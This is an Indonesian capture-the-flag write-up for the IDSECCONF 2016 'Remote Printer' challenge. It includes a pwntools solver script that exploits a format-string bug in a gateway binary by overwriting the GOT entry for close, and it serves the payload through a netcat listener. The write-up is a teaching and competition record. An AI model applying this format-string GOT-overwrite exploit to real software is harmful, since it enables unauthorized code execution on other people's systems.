IDSECCONF 2016 - Remote Printer (80 Points)

Masalah

Diberikan binary gateway, eksploitasi server korban dan temukan informasi rahasia didalamnya!

Penyelesaian

Binary ini memiliki kelemahan format string yang bisa dieksploitasi.

Gunakan solver.py sebagai attacker server.

import os
from pwn import *

EXPECTED = "%2712c%11$hnABCDEFGHIJKL\x38\x12\x60\x00\x00\x00\x00\x00"
FLAG = 0x00400a98 # <= 8 bytes
FLAG = 0x0a98 # <= 2 bytes

velf = ELF("./gateway")

p = ''
p += '%{}c%11$hn'.format(FLAG)
p += 'ABCDEFGHIJKL' # <= Junk bytes
p += p64(velf.got['close'])

assert p == EXPECTED

open('payload','w').write(p)
os.system('cat payload | nc -nvlp 51998')
$ python solver.py

Kemudian hubungkan klien gateway ke server yang diinginkan, misalkan 127.0.0.1:51998 dan simpan dalam berkas option.

127.0.0.1
51998

Maka server korban bisa dieksploitasi saat menjalankan perintah ini:

./gateway < options

results matching ""

    No results matching ""